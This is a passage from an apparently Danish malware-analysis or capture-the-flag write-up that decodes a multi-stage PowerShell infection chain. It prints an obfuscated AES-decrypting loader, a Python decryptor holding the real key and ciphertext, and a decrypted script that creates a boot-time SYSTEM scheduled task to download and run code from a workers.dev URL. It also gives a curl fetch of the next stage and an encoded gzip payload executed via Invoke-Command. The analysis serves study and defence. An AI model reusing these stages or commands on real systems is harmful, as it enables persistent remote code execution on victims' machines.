</span></span><span class="line"><span class="cl">    <span class="n">waste</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">62740</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sandbar</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">42412</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">ascend([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dissect</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">28112</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">township</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">52903</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">grasp</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">48930</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">shock</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">41066</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">tangy</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">51825</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ozone</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">45489</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">keyboarding</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">44983</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">branch</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">7568</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">whirlpool</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">8762</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ruler</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">28412</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">scimitar</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">21313</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">independent</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">34853</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">shaky</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55550</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$diver</span> <span class="p">=</span> <span class="nv">$hum</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$hum</span> <span class="o">-eq</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$diver</span> <span class="p">=</span> <span class="nb">Read-Host</span> <span class="n">-Prompt</span> <span class="s1">&#39;Variable name&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$sportsman</span> <span class="p">=</span> <span class="nb">Get-Variable</span> <span class="n">-Name</span> <span class="nv">$diver</span> <span class="n">-ValueOnly</span>
</span></span><span class="line"><span class="cl"><span class="nv">$die</span> <span class="p">=</span> <span class="nv">$hood</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$hood</span> <span class="o">-eq</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$die</span> <span class="p">=</span> <span class="nb">Read-Host</span> <span class="n">-Prompt</span> <span class="s1">&#39;Key Variable name&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$editor</span> <span class="p">=</span> <span class="nb">Get-Variable</span> <span class="n">-Name</span> <span class="nv">$die</span> <span class="n">-ValueOnly</span>
</span></span><span class="line"><span class="cl"><span class="nv">$blind</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$sportsman</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$righteous</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$editor</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$combative</span> <span class="p">=</span> <span class="vm">@</span><span class="p">{</span><span class="n">TypeName</span><span class="p">=</span><span class="s2">&#34;sySt&#34;</span><span class="p">+</span><span class="s2">&#34;Em.se&#34;</span><span class="p">+</span><span class="s2">&#34;c&#34;</span><span class="p">+</span><span class="s2">&#34;uRITy&#34;</span><span class="p">+</span><span class="s2">&#34;.&#34;</span><span class="p">+</span><span class="s2">&#34;cry&#34;</span><span class="p">+</span><span class="s2">&#34;pTog&#34;</span><span class="p">+</span><span class="s2">&#34;RA&#34;</span><span class="p">+</span><span class="s2">&#34;phY.&#34;</span><span class="p">+</span><span class="s2">&#34;AE&#34;</span><span class="p">+</span><span class="s2">&#34;Sma&#34;</span><span class="p">+</span><span class="s2">&#34;naGE&#34;</span><span class="p">+</span><span class="s2">&#34;D&#34;</span><span class="p">;</span><span class="n">Property</span><span class="p">=</span><span class="vm">@</span><span class="p">{(</span><span class="s2">&#34;mO&#34;</span><span class="p">+</span><span class="s2">&#34;de&#34;</span><span class="p">)=[</span><span class="no">System.Security.Cryptography.CipherMode</span><span class="p">]::</span><span class="n">CBC</span><span class="p">;</span> <span class="n">Padding</span><span class="p">=[</span><span class="no">System.Security.Cryptography.PaddingMode</span><span class="p">]::</span><span class="n">PKCS7</span><span class="p">;</span> <span class="n">BlockSize</span><span class="p">=</span><span class="mf">128</span><span class="p">;</span><span class="n">KeySize</span><span class="p">=</span><span class="mf">256</span><span class="p">;(</span><span class="s2">&#34;I&#34;</span><span class="p">+</span><span class="s2">&#34;V&#34;</span><span class="p">)=</span><span class="nv">$blind</span><span class="p">[</span><span class="mf">0</span><span class="p">.</span><span class="mf">.15</span><span class="p">];}}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$ask</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="nv">@combative</span>
</span></span><span class="line"><span class="cl"><span class="nv">$ask</span><span class="p">.(</span><span class="s2">&#34;kE&#34;</span><span class="p">+</span><span class="s2">&#34;Y&#34;</span><span class="p">)=</span><span class="nv">$righteous</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">.</span><span class="py">GetString</span><span class="p">(</span><span class="nv">$ask</span><span class="p">.(</span><span class="s2">&#34;CReat&#34;</span><span class="p">+</span><span class="s2">&#34;E&#34;</span><span class="p">+</span><span class="s2">&#34;dECr&#34;</span><span class="p">+</span><span class="s2">&#34;Y&#34;</span><span class="p">+</span><span class="s2">&#34;PT&#34;</span><span class="p">+</span><span class="s2">&#34;o&#34;</span><span class="p">+</span><span class="s2">&#34;r&#34;</span><span class="p">)().</span><span class="py">TransformFinalBlock</span><span class="p">(</span><span class="nv">$blind</span><span class="p">,</span><span class="mf">16</span><span class="p">,</span><span class="nv">$blind</span><span class="p">.</span><span class="n">length</span><span class="p">-</span><span class="mf">16</span><span class="p">)).</span><span class="py">Trim</span><span class="p">([</span><span class="no">char</span><span class="p">]</span><span class="mf">0</span><span class="p">)|&amp;((&amp;</span><span class="n">g</span><span class="s1">&#39;&#39;</span><span class="s2">&#34;cm&#34;</span> <span class="p">(</span><span class="s2">&#34;?&#34;</span><span class="p">+</span><span class="s2">&#34;?&#34;</span><span class="p">+</span><span class="s1">&#39;x&#39;</span><span class="p">))[</span><span class="mf">1</span><span class="p">])</span>
</span></span></code></pre></div><p>Her sker der noget decryption via AES-256-CBC. Vi kan bruge python til at efterligne det:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher_b64</span> <span class="o">=</span> <span class="s2">&#34;YjdiU5+xwU9cr3cYedlgzPlFlolvLD+BdIw6E4U0tRlS4D/VE8F1nMUsatDJErDT4aiFC+mWnROMddy0x6iL4Sc96DfzWfJXnOlQWtkUBcS7Bkm950E3IDlikbq9zoW42UYF2+l6fXBvf4EMiSoOIRcpZZOGkFg1mX3TpFSGMU0OrG4+JzYSLK8tQPW2jh51I9NgwnpdaRhgZorC3LejdsXKOQGzcvtwbp7e4+Qx/XMmI5GO+owOzp3FvQkqBtSJ0wvCMZF4Ob+UI8g3tBvAh3G+RZ1/4WJB70t/zHL/DvW3UbuSNQkDS8bKNMeZJu8Nr1sxotBp4dPQNK95QPhzqemnhaqGdHjdwi5ToAFAr9OwMaL6ed3bcqLYjHUAepitMnRv5ooursKOvTO7z55vFG/x1JQMlkaUsEQY8qsWFqI/M45FzJvBygkr8vnN9h0RnDZ2CP2cB40/ZiusgxuSNL7X29MKwuA6wBla704NReGWCTMAqSz8MA0yITSgafdbL63kumPSl/7JGFo2kZN9p8tIhBbFRvZCi7pOiMRxHSOqttSdrne5BpUeeepeWIphD9ehLqzwnJWX+r2JkYOdcxLCqR19V9PSB8cDrg7yoyo4/e4eqwjR2IvL58i2PIweBNtcAZG9lzZgYkzZisS4xWRze71Q/LU2WCf/WSNKP4Lue9rmKMWkQ1z4+gMvV7cNW07sjJ5J+6f0GryWLdwGL3HM9YP3QZzkcIq5cFpSTf8eu94yw8uTs7WLCf17+I3d+2U6lrOj63c4/BdlNUVy/c/7bWiWYcfITA3Om9IbD1cUzw6cWFx2TgW80jAjkPiAJoKJ26wP+l4pqA8TvvG3XJb7KBV85AM7jx2/ZYYEAFlrjhWBFC/D3ApMkML5z2gIPgUDtfVooWa+BxaIWs0ZPz2CIu0pEH/1KH7YVRaZU46XeYG1y8oRjClgM9aXhtaTVQioY8aBcOPpZVz9/+G1Vm3t+twd/wlM7bKU8Hso/2Zp0ITlbdNikK+xiVDc/VMkXOmf7YvWaL0cj7uqS9jcYEwfa6COP1a8NmnkJWTJ47bPV8bJ5c4t96spbxCOF79oHF3VP8bDPOu2XdCmYIQ2j2ztnM/osnMftkYKHhLV7TfTusPXraKcHcvfoB4uIFLMQbbYK9W8LxAKRWUHM55bP8brP4z/SPWEqv1JjRiu9gRXtucDsTZ32SXGXiTHdviBywdKBw1Idv1liLF4wvjjrBezBGHxPcYrxL/yrQ+BZnffbhYhMw53/uHTtFzhImr9/0w1oRvvfcB+fbva5Jzt+RoSPBRSBjG6u94BhY5twv/ujSfARxBPbYg93m5RpKTaztSVH2DFbTjX5MTxX0WFzg==&#34;</span> <span class="c1"># $cottage</span>
</span></span><span class="line"><span class="cl"><span class="n">key_b64</span> <span class="o">=</span> <span class="s2">&#34;c1dOTat5fnlq0vk619S2eMF+tZRoY2UyovCrwqxgS44=&#34;</span> <span class="c1"># $cool</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipherdata</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">cipher_b64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">key_b64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">iv</span> <span class="o">=</span> <span class="n">cipherdata</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">encrypted</span> <span class="o">=</span> <span class="n">cipherdata</span><span class="p">[</span><span class="mi">16</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">plaintext</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">))</span>
</span></span></code></pre></div><p>Dette giver os følgende output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$TaskName</span> <span class="p">=</span> <span class="s2">&#34;ExampleBootTask&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Define action</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Action</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskAction</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-Execute</span> <span class="s2">&#34;powershell.exe&#34;</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-Argument</span> <span class="s2">&#34;-NoProfile -Command </span><span class="se">`&#34;</span><span class="s2">iwr -UseBasicParsing jolly-heart-a4be.oluf-sand.workers.dev/update/32aebe97-cb2e-4507-a912-9e53e72b9106|iex</span><span class="se">`&#34;</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Define trigger (at boot)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Trigger</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskTrigger</span> <span class="n">-AtStartup</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Define principal (SYSTEM account, highest privileges)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Principal</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskPrincipal</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-UserId</span> <span class="s2">&#34;SYSTEM&#34;</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-LogonType</span> <span class="n">ServiceAccount</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-RunLevel</span> <span class="n">Highest</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># If task already exists, remove it</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nb">Get-ScheduledTask</span> <span class="n">-TaskName</span> <span class="nv">$TaskName</span> <span class="n">-ErrorAction</span> <span class="n">SilentlyContinue</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nb">Unregister-ScheduledTask</span> <span class="n">-TaskName</span> <span class="nv">$TaskName</span> <span class="n">-Confirm:</span><span class="vm">$false</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Register task</span>
</span></span><span class="line"><span class="cl"><span class="nb">Register-ScheduledTask</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-TaskName</span> <span class="nv">$TaskName</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-Action</span> <span class="nv">$Action</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-Trigger</span> <span class="nv">$Trigger</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-Principal</span> <span class="nv">$Principal</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">    <span class="n">-Description</span> <span class="s2">&#34;Runs a simple PowerShell command at system startup.&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">Write-Host</span> <span class="s2">&#34;Scheduled task \&#39;</span><span class="nv">$TaskName</span><span class="s2">\&#39; created successfully.&#34;</span>
</span></span></code></pre></div><p>Her ser vi en PowerShell script, der opretter en scheduled task, som kører ved system startup. Tasken kører en PowerShell kommando, der henter og eksekverer et script fra en URL. Vi bruger curl til igen at hente det script: <code>curl -A &quot;Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.19041.5737&quot; jolly-heart-a4be.oluf-sand.workers.dev/update/32aebe97-cb2e-4507-a912-9e53e72b9106</code></p>
<p>Dette giver os følgende output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$dat</span><span class="p">=</span><span class="s2">&#34;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&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$bytes</span> <span class="p">=</span> <span class="p">[</span><span class="no">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$dat</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$ms</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">MemoryStream</span><span class="p">(,</span><span class="nv">$bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$gs</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">Compression</span><span class="p">.</span><span class="py">GZipStream</span><span class="p">(</span><span class="nv">$ms</span><span class="p">,[</span><span class="no">IO.Compression.CompressionMode</span><span class="p">]::</span><span class="n">Decompress</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$sr</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">StreamReader</span><span class="p">(</span><span class="nv">$gs</span><span class="p">,[</span><span class="no">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$result</span> <span class="p">=</span> <span class="nv">$sr</span><span class="p">.</span><span class="py">ReadToEnd</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">Invoke-Command</span> <span class="n">-ScriptBlock</span> <span class="p">([</span><span class="no">scriptblock</span><span class="p">]::</span><span class="n">Create</span><span class="p">(</span><span class="nv">$result</span><span class="p">))</span> <span class="n">-ArgumentList</span> <span class="vm">@</span><span class="p">(</span><span class="s2">&#34;criminal&#34;</span><span class="p">,</span> <span class="s2">&#34;batting&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Dette giver igen et PowerShell script der laver AES-256-CBC decryption.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="k">param</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="no">string</span><span class="p">]</span><span class="nv">$osmosis</span> <span class="p">=</span> <span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="no">string</span><span class="p">]</span><span class="nv">$quiche</span> <span class="p">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
